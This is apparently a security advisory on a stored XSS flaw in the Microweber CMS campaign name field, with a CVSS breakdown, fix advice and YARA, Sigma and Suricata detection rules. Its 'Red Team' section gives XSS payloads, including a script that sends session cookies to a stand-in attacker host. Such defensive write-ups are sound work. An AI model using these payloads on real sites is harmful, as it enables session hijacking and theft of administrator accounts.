CVE-2024-33297

Executive Summary

CVE-2024-33297 is a stored Cross-Site Scripting (XSS) vulnerability discovered in Microweber version 2.0.9. The flaw resides in the "Add new campaign" function, specifically within the "Campaign Name (Internal Name)" field. An authenticated attacker with campaign management privileges can inject arbitrary JavaScript code into this field. When an administrator or other user views the campaign list, the injected script executes in their browser context, potentially leading to session hijacking, data exfiltration, or further compromise of the Microweber instance.

This vulnerability is classified under CWE-79 (Improper Neutralization of Input During Web Page Generation). The CVSS v3.1 score is 5.4 (Medium), with a vector of AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N. The attack requires low privileges and user interaction (viewing the campaign list), but the impact is limited to confidentiality and integrity of user data.

No public proof-of-concept (PoC) or exploit code has been released. The vendor has not acknowledged or patched this vulnerability as of the latest known version (2.0.9). Organizations using Microweber should apply strict input validation and output encoding as a temporary mitigation.

Supply Chain & Package Security

Microweber is a PHP-based CMS available via Composer and GitHub. This vulnerability is not related to a package manager supply chain attack but is a direct code flaw in the application. Users should verify the integrity of their Microweber installation and monitor for any official patches.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
• Base Score: 5.4 (Medium)
• Attack Vector (AV): Network – The vulnerability is exploitable remotely.
• Attack Complexity (AC): Low – No special conditions required.
• Privileges Required (PR): Low – Attacker needs campaign management privileges.
• User Interaction (UI): Required – Victim must view the campaign list.
• Scope (S): Changed – The injected script can affect resources beyond the vulnerable component.
• Confidentiality (C): Low – Limited data exposure.
• Integrity (I): Low – Limited ability to modify data.
• Availability (A): None – No impact on system availability.

Threat Level: Medium. The requirement for authentication and user interaction reduces the immediate risk, but the potential for session hijacking and data theft makes it a significant concern for multi-user Microweber deployments.

Deep Dive & Mechanics

The vulnerability exists in the campaign creation functionality of Microweber. When a user with appropriate permissions creates a new campaign, the "Campaign Name (Internal Name)" field is not properly sanitized. The application stores the user-supplied input directly into the database without encoding or filtering HTML/JavaScript.

When the campaign list is rendered (e.g., in the admin panel), the stored value is output without proper escaping. This allows an attacker to inject arbitrary HTML and JavaScript. For example, an attacker could inject:

<script>alert(document.cookie)</script>

When an administrator views the campaign list, the script executes, potentially stealing session cookies or performing actions on behalf of the victim.

The root cause is the lack of output encoding in the template or view that renders the campaign name. The application likely uses a PHP template engine (e.g., Twig or Blade) but fails to apply the escape filter or equivalent.

Vulnerable vs. Patched Code

Since no official patch exists, the following is a hypothetical comparison based on common XSS remediation.

Vulnerable Code (PHP/Blade example):

// In the controller or view
echo $campaign->name;

Patched Code (PHP/Blade example):

// Using Blade's escape syntax
{{ $campaign->name }}
// Or using htmlspecialchars in raw PHP
echo htmlspecialchars($campaign->name, ENT_QUOTES, 'UTF-8');

The patched version ensures that any HTML/JavaScript in the campaign name is rendered as text, not executed.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A Microweber instance (v2.0.9) with an authenticated user who has campaign management privileges.
• A victim user (e.g., administrator) who will view the campaign list.

Steps:

1. Log in to Microweber as a user with campaign creation rights.
2. Navigate to the "Add new campaign" function.
3. In the "Campaign Name (Internal Name)" field, enter the following payload:

   <img src=x onerror=alert('XSS')>
   

4. Save the campaign.
5. When the victim (e.g., admin) views the campaign list, the payload executes.

Advanced Payload (Session Hijacking):

<script>
fetch('https://attacker.com/steal?cookie=' + document.cookie);
</script>

Blue Team

Detection:

• Monitor for unusual campaign names containing <script>, <img onerror>, or other HTML event handlers.
• Review web server logs for requests to /admin/campaigns or similar endpoints with suspicious POST data.
• Use the YARA and Sigma rules provided in the Detection Engineering section.

Mitigation:

• Implement a Web Application Firewall (WAF) rule to block common XSS patterns in campaign name fields.
• Enforce strict input validation on the server side (e.g., allow only alphanumeric characters and spaces).
• Apply output encoding in all templates that render user-supplied data.

Indicators of Compromise (IOCs)

• Network:
  • Outbound HTTP requests to attacker-controlled domains from the Microweber server.
  • Suspicious Referer headers pointing to /admin/campaigns or similar.
• File System:
  • Modified database entries in the campaigns table with HTML/JavaScript in the name column.
• Logs:
  • Web server logs showing POST requests to campaign creation endpoints with encoded or raw HTML in the name parameter.
  • Application logs indicating failed validation attempts (if any).

Detection Engineering

YARA Rule

rule CVE_2024_33297_Microweber_XSS {
    meta:
        description = "Detects stored XSS payloads in Microweber campaign names"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-33297"
    strings:
        $xss1 = /<script[^>]*>.*<\/script>/i
        $xss2 = /<img[^>]*onerror[^>]*>/i
        $xss3 = /<svg[^>]*onload[^>]*>/i
        $xss4 = /javascript:/i
    condition:
        any of ($xss*) and filesize < 10KB
}

Sigma Rule

title: Microweber Stored XSS in Campaign Name
id: 8f4b3c2a-1e5d-4f7a-9b0c-3d6e8f1a2b4c
status: experimental
description: Detects attempts to exploit CVE-2024-33297 by injecting XSS payloads into the campaign name field.
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/admin/campaigns/save'
        cs-uri-query|contains: 'name='
    keywords:
        - '<script'
        - '<img'
        - 'onerror'
        - 'onload'
        - 'javascript:'
    condition: selection and keywords
falsepositives:
    - Legitimate use of HTML in campaign names (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-33297 Microweber Stored XSS Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/admin/campaigns/save"; http_uri; content:"name="; http_client_body; pcre:"/(<script|<img|onerror|onload|javascript:)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Input Validation: Restrict the campaign name field to alphanumeric characters, spaces, and basic punctuation. Reject any input containing <, >, ", ', or &.
2. Output Encoding: Ensure all user-supplied data is HTML-encoded before rendering. In PHP, use htmlspecialchars() or the template engine's escape function.
3. WAF Rules: Deploy a Web Application Firewall with rules to block common XSS patterns.
4. User Education: Advise administrators to avoid clicking on suspicious campaign names and to review campaign lists for anomalies.

Long-Term Fix:

• Monitor the Microweber GitHub repository for an official patch.
• Consider forking the project and applying the fix yourself if the vendor remains unresponsive.
• Upgrade to a newer version of Microweber if available, but verify that the vulnerability is addressed.

Valters IT – Securing digital frontiers, one CVE at a time.